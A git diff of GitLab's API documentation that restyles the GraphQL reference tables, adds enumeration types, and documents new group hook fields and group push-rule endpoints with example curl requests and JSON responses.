VulnerabilityLocationDast -Represents the location of a vulnerability found by a DAST scan +Represents the location of a vulnerability found by a DAST scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `hostname` | String | Domain name of the vulnerable request | | `param` | String | Query parameter for the URL on which the vulnerability occurred | | `path` | String | URL path and query string of the vulnerable request | | `requestMethod` | String | HTTP method of the vulnerable request | -## VulnerabilityLocationDependencyScanning +### VulnerabilityLocationDependencyScanning -Represents the location of a vulnerability found by a dependency security scan +Represents the location of a vulnerability found by a dependency security scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `dependency` | VulnerableDependency | Dependency containing the vulnerability | | `file` | String | Path to the vulnerable file | -## VulnerabilityLocationSast +### VulnerabilityLocationSast -Represents the location of a vulnerability found by a SAST scan +Represents the location of a vulnerability found by a SAST scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `endLine` | String | Number of the last relevant line in the vulnerable file | | `file` | String | Path to the vulnerable file | | `startLine` | String | Number of the first relevant line in the vulnerable file | | `vulnerableClass` | String | Class containing the vulnerability | | `vulnerableMethod` | String | Method containing the vulnerability | -## VulnerabilityLocationSecretDetection +### VulnerabilityLocationSecretDetection -Represents the location of a vulnerability found by a secret detection scan +Represents the location of a vulnerability found by a secret detection scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `endLine` | String | Number of the last relevant line in the vulnerable file | | `file` | String | Path to the vulnerable file | | `startLine` | String | Number of the first relevant line in the vulnerable file | | `vulnerableClass` | String | Class containing the vulnerability | | `vulnerableMethod` | String | Method containing the vulnerability | -## VulnerabilityPermissions +### VulnerabilityPermissions -Check permissions for the current user on a vulnerability +Check permissions for the current user on a vulnerability. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminVulnerability` | Boolean! | Indicates the user can perform `admin_vulnerability` on this resource | | `adminVulnerabilityIssueLink` | Boolean! | Indicates the user can perform `admin_vulnerability_issue_link` on this resource | | `createVulnerability` | Boolean! | Indicates the user can perform `create_vulnerability` on this resource | @@ -2611,23 +2802,33 @@ Check permissions for the current user on a vulnerability | `readVulnerabilityFeedback` | Boolean! | Indicates the user can perform `read_vulnerability_feedback` on this resource | | `updateVulnerabilityFeedback` | Boolean! | Indicates the user can perform `update_vulnerability_feedback` on this resource | -## VulnerabilityScanner +### VulnerabilityResolvePayload + +Autogenerated return type of VulnerabilityResolve. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | String | A unique identifier for the client performing the mutation. | +| `errors` | String! => Array | Errors encountered during execution of the mutation. | +| `vulnerability` | Vulnerability | The vulnerability after state change | + +### VulnerabilityScanner Represents a vulnerability scanner. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `externalId` | String | External ID of the vulnerability scanner | | `name` | String | Name of the vulnerability scanner | | `reportType` | VulnerabilityReportType | Type of the vulnerability report | | `vendor` | String | Vendor of the vulnerability scanner | -## VulnerabilitySeveritiesCount +### VulnerabilitySeveritiesCount -Represents vulnerability counts by severity +Represents vulnerability counts by severity. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `critical` | Int | Number of vulnerabilities of CRITICAL severity of the project | | `high` | Int | Number of vulnerabilities of HIGH severity of the project | | `info` | Int | Number of vulnerabilities of INFO severity of the project | @@ -2635,28 +2836,738 @@ Represents vulnerability counts by severity | `medium` | Int | Number of vulnerabilities of MEDIUM severity of the project | | `unknown` | Int | Number of vulnerabilities of UNKNOWN severity of the project | -## VulnerableDependency +### VulnerableDependency -Represents a vulnerable dependency. Used in vulnerability location data +Represents a vulnerable dependency. Used in vulnerability location data. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `package` | VulnerablePackage | The package associated with the vulnerable dependency | | `version` | String | The version of the vulnerable dependency | -## VulnerablePackage +### VulnerablePackage -Represents a vulnerable package. Used in vulnerability dependency data +Represents a vulnerable package. Used in vulnerability dependency data. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `name` | String | The name of the vulnerable package | -## VulnerableProjectsByGrade +### VulnerableProjectsByGrade -Represents vulnerability letter grades with associated projects +Represents vulnerability letter grades with associated projects. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int! | Number of projects within this grade | | `grade` | VulnerabilityGrade! | Grade based on the highest severity vulnerability present | + +## Enumeration types + +Also called _Enums_, enumeration types are a special kind of scalar that +is restricted to a particular set of allowed values. + +For more information, see +[Enumeration Types](https://graphql.org/learn/schema/#enumeration-types) +on `graphql.org`. + +### AccessLevelEnum + +Access level to a resource. + +| Value | Description | +| ----- | ----------- | +| `DEVELOPER` | | +| `GUEST` | | +| `MAINTAINER` | | +| `NO_ACCESS` | | +| `OWNER` | | +| `REPORTER` | | + +### AlertManagementAlertSort + +Values for sorting alerts. + +| Value | Description | +| ----- | ----------- | +| `CREATED_TIME_ASC` | Created time by ascending order | +| `CREATED_TIME_DESC` | Created time by descending order | +| `ENDED_AT_ASC` | End time by ascending order | +| `ENDED_AT_DESC` | End time by descending order | +| `EVENT_COUNT_ASC` | Events count by ascending order | +| `EVENT_COUNT_DESC` | Events count by descending order | +| `SEVERITY_ASC` | Severity from less critical to more critical | +| `SEVERITY_DESC` | Severity from more critical to less critical | +| `STARTED_AT_ASC` | Start time by ascending order | +| `STARTED_AT_DESC` | Start time by descending order | +| `STATUS_ASC` | Status by order: Ignored > Resolved > Acknowledged > Triggered | +| `STATUS_DESC` | Status by order: Triggered > Acknowledged > Resolved > Ignored | +| `UPDATED_TIME_ASC` | Created time by ascending order | +| `UPDATED_TIME_DESC` | Created time by descending order | +| `created_asc` | Created at ascending order | +| `created_desc` | Created at descending order | +| `updated_asc` | Updated at ascending order | +| `updated_desc` | Updated at descending order | + +### AlertManagementSeverity + +Alert severity values. + +| Value | Description | +| ----- | ----------- | +| `CRITICAL` | Critical severity | +| `HIGH` | High severity | +| `INFO` | Info severity | +| `LOW` | Low severity | +| `MEDIUM` | Medium severity | +| `UNKNOWN` | Unknown severity | + +### AlertManagementStatus + +Alert status values. + +| Value | Description | +| ----- | ----------- | +| `ACKNOWLEDGED` | Acknowledged status | +| `IGNORED` | Ignored status | +| `RESOLVED` | Resolved status | +| `TRIGGERED` | Triggered status | + +### BlobViewersType + +Types of blob viewers. + +| Value | Description | +| ----- | ----------- | +| `auxiliary` | | +| `rich` | | +| `simple` | | + +### CommitActionMode + +Mode of a commit action. + +| Value | Description | +| ----- | ----------- | +| `CHMOD` | Chmod command | +| `CREATE` | Create command | +| `DELETE` | Delete command | +| `MOVE` | Move command | +| `UPDATE` | Update command | + +### CommitEncoding + +| Value | Description | +| ----- | ----------- | +| `BASE64` | Base64 encoding | +| `TEXT` | Text encoding | + +### ContainerExpirationPolicyCadenceEnum + +| Value | Description | +| ----- | ----------- | +| `EVERY_DAY` | Every day | +| `EVERY_MONTH` | Every month | +| `EVERY_THREE_MONTHS` | Every three months | +| `EVERY_TWO_WEEKS` | Every two weeks | +| `EVERY_WEEK` | Every week | + +### ContainerExpirationPolicyKeepEnum + +| Value | Description | +| ----- | ----------- | +| `FIFTY_TAGS` | 50 tags per image name | +| `FIVE_TAGS` | 5 tags per image name | +| `ONE_HUNDRED_TAGS` | 100 tags per image name | +| `ONE_TAG` | 1 tag per image name | +| `TEN_TAGS` | 10 tags per image name | +| `TWENTY_FIVE_TAGS` | 25 tags per image name | + +### ContainerExpirationPolicyOlderThanEnum + +| Value | Description | +| ----- | ----------- | +| `FOURTEEN_DAYS` | 14 days until tags are automatically removed | +| `NINETY_DAYS` | 90 days until tags are automatically removed | +| `SEVEN_DAYS` | 7 days until tags are automatically removed | +| `THIRTY_DAYS` | 30 days until tags are automatically removed | + +### DastScanTypeEnum + +| Value | Description | +| ----- | ----------- | +| `PASSIVE` | Passive DAST scan. This scan will not make active attacks against the target site. | + +### DastSiteProfileValidationStatusEnum + +| Value | Description | +| ----- | ----------- | +| `FAILED_VALIDATION` | Site validation process finished but failed | +| `INPROGRESS_VALIDATION` | Site validation process is in progress | +| `PASSED_VALIDATION` | Site validation process finished successfully | +| `PENDING_VALIDATION` | Site validation process has not started | + +### DesignVersionEvent + +Mutation event of a design within a version. + +| Value | Description | +| ----- | ----------- | +| `CREATION` | A creation event | +| `DELETION` | A deletion event | +| `MODIFICATION` | A modification event | +| `NONE` | No change | + +### DiffPositionType + +Type of file the position refers to. + +| Value | Description | +| ----- | ----------- | +| `image` | | +| `text` | | + +### EntryType + +Type of a tree entry. + +| Value | Description | +| ----- | ----------- | +| `blob` | | +| `commit` | | +| `tree` | | + +### EpicSort + +Roadmap sort values. + +| Value | Description | +| ----- | ----------- | +| `end_date_asc` | End date at ascending order | +| `end_date_desc` | End date at descending order | +| `start_date_asc` | Start date at ascending order | +| `start_date_desc` | Start date at descending order | + +### EpicState + +State of an epic. + +| Value | Description | +| ----- | ----------- | +| `all` | | +| `closed` | | +| `opened` | | + +### EpicStateEvent + +State event of an epic. + +| Value | Description | +| ----- | ----------- | +| `CLOSE` | Close the epic | +| `REOPEN` | Reopen the epic | + +### EpicWildcardId + +Epic ID wildcard values. + +| Value | Description | +| ----- | ----------- | +| `ANY` | Any epic is assigned | +| `NONE` | No epic is assigned | + +### HealthStatus + +Health status of an issue or epic. + +| Value | Description | +| ----- | ----------- | +| `atRisk` | | +| `needsAttention` | | +| `onTrack` | | + +### IssuableSeverity + +Incident severity. + +| Value | Description | +| ----- | ----------- | +| `CRITICAL` | Critical severity | +| `HIGH` | High severity | +| `LOW` | Low severity | +| `MEDIUM` | Medium severity | +| `UNKNOWN` | Unknown severity | + +### IssuableState + +State of a GitLab issue or merge request. + +| Value | Description | +| ----- | ----------- | +| `all` | | +| `closed` | | +| `locked` | | +| `opened` | | + +### IssueSort + +Values for sorting issues. + +| Value | Description | +| ----- | ----------- | +| `DUE_DATE_ASC` | Due date by ascending order | +| `DUE_DATE_DESC` | Due date by descending order | +| `LABEL_PRIORITY_ASC` | Label priority by ascending order | +| `LABEL_PRIORITY_DESC` | Label priority by descending order | +| `MILESTONE_DUE_ASC` | Milestone due date by ascending order | +| `MILESTONE_DUE_DESC` | Milestone due date by descending order | +| `PRIORITY_ASC` | Priority by ascending order | +| `PRIORITY_DESC` | Priority by descending order | +| `RELATIVE_POSITION_ASC` | Relative position by ascending order | +| `WEIGHT_ASC` | Weight by ascending order | +| `WEIGHT_DESC` | Weight by descending order | +| `created_asc` | Created at ascending order | +| `created_desc` | Created at descending order | +| `updated_asc` | Updated at ascending order | +| `updated_desc` | Updated at descending order | + +### IssueState + +State of a GitLab issue. + +| Value | Description | +| ----- | ----------- | +| `all` | | +| `closed` | | +| `locked` | | +| `opened` | | + +### IssueType + +Issue type. + +| Value | Description | +| ----- | ----------- | +| `INCIDENT` | Incident issue type | +| `ISSUE` | Issue issue type | +| `TEST_CASE` | Test Case issue type | + +### IterationState + +State of a GitLab iteration. + +| Value | Description | +| ----- | ----------- | +| `all` | | +| `closed` | | +| `opened` | | +| `started` | | +| `upcoming` | | + +### ListLimitMetric + +List limit metric setting. + +| Value | Description | +| ----- | ----------- | +| `all_metrics` | | +| `issue_count` | | +| `issue_weights` | | + +### MeasurementIdentifier + +Possible identifier types for a measurement. + +| Value | Description | +| ----- | ----------- | +| `GROUPS` | Group count | +| `ISSUES` | Issue count | +| `MERGE_REQUESTS` | Merge request count | +| `PIPELINES` | Pipeline count | +| `PROJECTS` | Project count | +| `USERS` | User count | + +### MergeRequestSort + +Values for sorting merge requests. + +| Value | Description | +| ----- | ----------- | +| `LABEL_PRIORITY_ASC` | Label priority by ascending order | +| `LABEL_PRIORITY_DESC` | Label priority by descending order | +| `MERGED_AT_ASC` | Merge time by ascending order | +| `MERGED_AT_DESC` | Merge time by descending order | +| `MILESTONE_DUE_ASC` | Milestone due date by ascending order | +| `MILESTONE_DUE_DESC` | Milestone due date by descending order | +| `PRIORITY_ASC` | Priority by ascending order | +| `PRIORITY_DESC` | Priority by descending order | +| `created_asc` | Created at ascending order | +| `created_desc` | Created at descending order | +| `updated_asc` | Updated at ascending order | +| `updated_desc` | Updated at descending order | + +### MergeRequestState + +State of a GitLab merge request. + +| Value | Description | +| ----- | ----------- | +| `all` | | +| `closed` | | +| `locked` | | +| `merged` | | +| `opened` | | + +### MilestoneStateEnum + +| Value | Description | +| ----- | ----------- | +| `active` | | +| `closed` | | + +### MoveType + +The position to which the adjacent object should be moved. + +| Value | Description | +| ----- | ----------- | +| `after` | The adjacent object will be moved after the object that is being moved | +| `before` | The adjacent object will be moved before the object that is being moved | + +### MutationOperationMode + +Different toggles for changing mutator behavior. + +| Value | Description | +| ----- | ----------- | +| `APPEND` | Performs an append operation | +| `REMOVE` | Performs a removal operation | +| `REPLACE` | Performs a replace operation | + +### NamespaceProjectSort + +Values for sorting projects. + +| Value | Description | +| ----- | ----------- | +| `SIMILARITY` | Most similar to the search query | + +### PackageTypeEnum + +| Value | Description | +| ----- | ----------- | +| `COMPOSER` | Packages from the composer package manager | +| `CONAN` | Packages from the conan package manager | +| `GENERIC` | Packages from the generic package manager | +| `MAVEN` | Packages from the maven package manager | +| `NPM` | Packages from the npm package manager | +| `NUGET` | Packages from the nuget package manager | +| `PYPI` | Packages from the pypi package manager | + +### PipelineConfigSourceEnum + +| Value | Description | +| ----- | ----------- | +| `AUTO_DEVOPS_SOURCE` | | +| `BRIDGE_SOURCE` | | +| `EXTERNAL_PROJECT_SOURCE` | | +| `PARAMETER_SOURCE` | | +| `REMOTE_SOURCE` | | +| `REPOSITORY_SOURCE` | | +| `UNKNOWN_SOURCE` | | +| `WEBIDE_SOURCE` | | + +### PipelineStatusEnum + +| Value | Description | +| ----- | ----------- | +| `CANCELED` | | +| `CREATED` | | +| `FAILED` | | +| `MANUAL` | | +| `PENDING` | | +| `PREPARING` | | +| `RUNNING` | | +| `SCHEDULED` | | +| `SKIPPED` | | +| `SUCCESS` | | +| `WAITING_FOR_RESOURCE` | | + +### ProjectSettingEnum + +Names of compliance frameworks that can be assigned to a Project. + +| Value | Description | +| ----- | ----------- | +| `gdpr` | | +| `hipaa` | | +| `pci_dss` | | +| `soc_2` | | +| `sox` | | + +### RegistryState + +State of a Geo registry. + +| Value | Description | +| ----- | ----------- | +| `FAILED` | Registry that failed to sync | +| `PENDING` | Registry waiting to be synced | +| `STARTED` | Registry currently syncing | +| `SYNCED` | Registry that is synced | + +### ReleaseAssetLinkType + +Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other`. + +| Value | Description | +| ----- | ----------- | +| `IMAGE` | Image link type | +| `OTHER` | Other link type | +| `PACKAGE` | Package link type | +| `RUNBOOK` | Runbook link type | + +### RequirementState + +State of a requirement. + +| Value | Description | +| ----- | ----------- | +| `ARCHIVED` | | +| `OPENED` | | + +### SastUiComponentSize + +Size of UI component in SAST configuration page. + +| Value | Description | +| ----- | ----------- | +| `LARGE` | | +| `MEDIUM` | | +| `SMALL` | | + +### SecurityScannerType + +The type of the security scanner. + +| Value | Description | +| ----- | ----------- | +| `CONTAINER_SCANNING` | | +| `COVERAGE_FUZZING` | | +| `DAST` | | +| `DEPENDENCY_SCANNING` | | +| `SAST` | | +| `SECRET_DETECTION` | | + +### SentryErrorStatus + +State of a Sentry error. + +| Value | Description | +| ----- | ----------- | +| `IGNORED` | Error has been ignored | +| `RESOLVED` | Error has been resolved | +| `RESOLVED_IN_NEXT_RELEASE` | Error has been ignored until next release | +| `UNRESOLVED` | Error is unresolved | + +### ServiceType + +| Value | Description | +| ----- | ----------- | +| `ALERTS_SERVICE` | | +| `ASANA_SERVICE` | | +| `ASSEMBLA_SERVICE` | | +| `BAMBOO_SERVICE` | | +| `BUGZILLA_SERVICE` | | +| `BUILDKITE_SERVICE` | | +| `CAMPFIRE_SERVICE` | | +| `CONFLUENCE_SERVICE` | | +| `CUSTOM_ISSUE_TRACKER_SERVICE` | | +| `DISCORD_SERVICE` | | +| `DRONE_CI_SERVICE` | | +| `EMAILS_ON_PUSH_SERVICE` | | +| `EWM_SERVICE` | | +| `EXTERNAL_WIKI_SERVICE` | | +| `FLOWDOCK_SERVICE` | | +| `GITHUB_SERVICE` | | +| `HANGOUTS_CHAT_SERVICE` | | +| `HIPCHAT_SERVICE` | | +| `IRKER_SERVICE` | | +| `JENKINS_SERVICE` | | +| `JIRA_SERVICE` | | +| `MATTERMOST_SERVICE` | | +| `MATTERMOST_SLASH_COMMANDS_SERVICE` | | +| `MICROSOFT_TEAMS_SERVICE` | | +| `PACKAGIST_SERVICE` | | +| `PIPELINES_EMAIL_SERVICE` | | +| `PIVOTALTRACKER_SERVICE` | | +| `PROMETHEUS_SERVICE` | | +| `PUSHOVER_SERVICE` | | +| `REDMINE_SERVICE` | | +| `SLACK_SERVICE` | | +| `SLACK_SLASH_COMMANDS_SERVICE` | | +| `TEAMCITY_SERVICE` | | +| `UNIFY_CIRCUIT_SERVICE` | | +| `WEBEX_TEAMS_SERVICE` | | +| `YOUTRACK_SERVICE` | | + +### SnippetBlobActionEnum + +Type of a snippet blob input action. + +| Value | Description | +| ----- | ----------- | +| `create` | | +| `delete` | | +| `move` | | +| `update` | | + +### Sort + +Common sort values. + +| Value | Description | +| ----- | ----------- | +| `created_asc` | Created at ascending order | +| `created_desc` | Created at descending order | +| `updated_asc` | Updated at ascending order | +| `updated_desc` | Updated at descending order | + +### TestReportState + +State of a test report. + +| Value | Description | +| ----- | ----------- | +| `FAILED` | | +| `PASSED` | | + +### TodoActionEnum + +| Value | Description | +| ----- | ----------- | +| `approval_required` | | +| `assigned` | | +| `build_failed` | | +| `directly_addressed` | | +| `marked` | | +| `mentioned` | | +| `unmergeable` | | + +### TodoStateEnum + +| Value | Description | +| ----- | ----------- | +| `done` | | +| `pending` | | + +### TodoTargetEnum + +| Value | Description | +| ----- | ----------- | +| `ALERT` | An Alert | +| `COMMIT` | A Commit | +| `DESIGN` | A Design | +| `EPIC` | An Epic | +| `ISSUE` | An Issue | +| `MERGEREQUEST` | A MergeRequest | + +### TypeEnum + +| Value | Description | +| ----- | ----------- | +| `personal` | | +| `project` | | + +### UserState + +Possible states of a user. + +| Value | Description | +| ----- | ----------- | +| `active` | The user is active and is able to use the system | +| `blocked` | The user has been blocked and is prevented from using the system | +| `deactivated` | The user is no longer active and is unable to use the system | + +### VisibilityLevelsEnum + +| Value | Description | +| ----- | ----------- | +| `internal` | | +| `private` | | +| `public` | | + +### VisibilityScopesEnum + +| Value | Description | +| ----- | ----------- | +| `internal` | | +| `private` | | +| `public` | | + +### VulnerabilityGrade + +The grade of the vulnerable project. + +| Value | Description | +| ----- | ----------- | +| `A` | | +| `B` | | +| `C` | | +| `D` | | +| `F` | | + +### VulnerabilityIssueLinkType + +The type of the issue link related to a vulnerability. + +| Value | Description | +| ----- | ----------- | +| `CREATED` | | +| `RELATED` | | + +### VulnerabilityReportType + +The type of the security scan that found the vulnerability. + +| Value | Description | +| ----- | ----------- | +| `CONTAINER_SCANNING` | | +| `COVERAGE_FUZZING` | | +| `DAST` | | +| `DEPENDENCY_SCANNING` | | +| `SAST` | | +| `SECRET_DETECTION` | | + +### VulnerabilitySeverity + +The severity of the vulnerability. + +| Value | Description | +| ----- | ----------- | +| `CRITICAL` | | +| `HIGH` | | +| `INFO` | | +| `LOW` | | +| `MEDIUM` | | +| `UNKNOWN` | | + +### VulnerabilitySort + +Vulnerability sort values. + +| Value | Description | +| ----- | ----------- | +| `severity_asc` | Severity in ascending order | +| `severity_desc` | Severity in descending order | + +### VulnerabilityState + +The state of the vulnerability. + +| Value | Description | +| ----- | ----------- | +| `CONFIRMED` | | +| `DETECTED` | | +| `DISMISSED` | | +| `RESOLVED` | | diff --git a/doc/api/group_milestones.md b/doc/api/group_milestones.md index e992637f4f0..47350442b3e 100644 --- a/doc/api/group_milestones.md +++ b/doc/api/group_milestones.md @@ -55,6 +55,7 @@ Example Response: "state": "active", "updated_at": "2013-10-02T09:24:18Z", "created_at": "2013-10-02T09:24:18Z", + "expired": false, "web_url": "https://gitlab.com/groups/gitlab-org/-/milestones/42" } ] diff --git a/doc/api/groups.md b/doc/api/groups.md index 07b2738f2d3..ae3300e24fb 100644 --- a/doc/api/groups.md +++ b/doc/api/groups.md @@ -847,7 +847,7 @@ Only available to group owners and administrators. This endpoint either: - Removes group, and queues a background job to delete all projects in the group as well. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). ```plaintext DELETE /groups/:id @@ -941,6 +941,7 @@ GET /groups/:id/hooks/:hook_id "job_events": true, "pipeline_events": true, "wiki_page_events": true, + "deployment_events": true, "enable_ssl_verification": true, "created_at": "2012-10-12T17:04:47Z" } @@ -968,6 +969,7 @@ POST /groups/:id/hooks | `job_events` | boolean | no | Trigger hook on job events | | `pipeline_events` | boolean | no | Trigger hook on pipeline events | | `wiki_page_events` | boolean | no | Trigger hook on wiki events | +| `deployment_events` | boolean | no | Trigger hook on deployment events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | @@ -994,6 +996,7 @@ PUT /groups/:id/hooks/:hook_id | `job_events` | boolean | no | Trigger hook on job events | | `pipeline_events` | boolean | no | Trigger hook on pipeline events | | `wiki_events` | boolean | no | Trigger hook on wiki events | +| `deployment_events` | boolean | no | Trigger hook on deployment events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `token` | string | no | Secret token to validate received payloads; this will not be returned in the response | @@ -1013,7 +1016,7 @@ DELETE /groups/:id/hooks/:hook_id ## Group Audit Events **(STARTER)** -Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events-starter) +Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events) ## Sync group with LDAP **(STARTER)** @@ -1167,9 +1170,13 @@ DELETE /groups/:id/share/:group_id ## Push Rules **(STARTER)** -### Get group push rules +> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4. -Get the [push rules](../user/group/index.md#group-push-rules-starter) of a group. +### Get group push rules **(STARTER)** + +Get the [push rules](../user/group/index.md#group-push-rules) of a group. + +Only available to group owners and administrators. ```plaintext GET /groups/:id/push_rule @@ -1207,3 +1214,111 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters: ... } ``` + +### Add group push rule **(STARTER)** + +Adds [push rules](../user/group/index.md#group-push-rules) to the specified group. + +Only available to group owners and administrators. + +```plaintext +POST /groups/:id/push_rule +``` + +| Attribute | Type | Required | Description | +| --------------------------------------------- | -------------- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | +| `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | +| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" +``` + +Response: + +```json +{ + "id": 19, + "created_at": "2020-08-31T15:53:00.073Z", + "commit_message_regex": "[a-zA-Z]", + "commit_message_negative_regex": "[x+]", + "branch_name_regex": null, + "deny_delete_tag": false, + "member_check": false, + "prevent_secrets": false, + "author_email_regex": "^[A-Za-z0-9.]+@gitlab.com$", + "file_name_regex": null, + "max_file_size": 100 +} +``` + +### Edit group push rule **(STARTER)** + +Edit push rules for a specified group. + +Only available to group owners and administrators. + +```plaintext +PUT /groups/:id/push_rule +``` + +| Attribute | Type | Required | Description | +| --------------------------------------------- | -------------- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | +| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag | +| `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only | +| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) will be rejected | +| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` | +| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute will not be allowed, e.g. `ssh\:\/\/` | +| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` | +| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` | +| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute will **not** be allowed, e.g. `(jar|exe)$` | +| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed | +| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails will be allowed | +| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG will be allowed | + +```shell +curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule" +``` + +Response: + +```json +{ + "id": 19, + "created_at": "2020-08-31T15:53:00.073Z", + "commit_message_regex": "[a-zA-Z]", + "commit_message_negative_regex": "[x+]", + "branch_name_regex": null, + "deny_delete_tag": false, + "member_check": false, + "prevent_secrets": false, + "author_email_regex": "^[A-Za-z0-9.]+@staging.gitlab.com$", + "file_name_regex": null, + "max_file_size": 100 +} +``` + +### Delete group push rule **(STARTER)** + +Deletes the [push rules](../user/group/index.md#group-push-rules) of a group. + +Only available to group owners and administrators. + +```plaintext +DELETE /groups/:id/push_rule +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | diff --git a/doc/api/issues.md b/doc/api/issues.md index 478557e1cd1..d8249869cab 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -7,7 +7,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Issues API If a user is not a member of a project and the project is private, a `GET` -request on that project will result in a `404` status code. +request on that project results in a `404` status code. ## Issues pagination @@ -17,12 +17,13 @@ are paginated. Read more on [pagination](README.md#pagination). CAUTION: **Deprecation:** -> `reference` attribute in response is deprecated in favour of `references`. -> Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) +The `reference` attribute in responses is deprecated in favor of `references`. +Introduced in [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354). NOTE: **Note:** -> `references.relative` is relative to the group / project that the issue is being requested. When issue is fetched from its project -> `relative` format would be the same as `short` format and when requested across groups / projects it is expected to be the same as `full` format. +The `references.relative` attribute is relative to the group or project of the issue being requested. +When an issue is fetched from its project, the `relative` format is the same as the `short` format, +and when requested across groups or projects it's expected to be the same as the `full` format. ## List issues @@ -49,30 +50,30 @@ GET /issues?confidential=true | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| `state` | string | no | Return `all` issues or just those that are `opened` or `closed` | -| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | -| `with_labels_details` | boolean | no | If `true`, response will return more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. The `description_html` attribute was introduced in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413)| -| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | -| `scope` | string | no | Return issues for the given scope: `created_by_me`, `assigned_to_me` or `all`. Defaults to `created_by_me`<br> For versions before 11.0, use the now deprecated `created-by-me` or `assigned-to-me` scopes instead.<br> 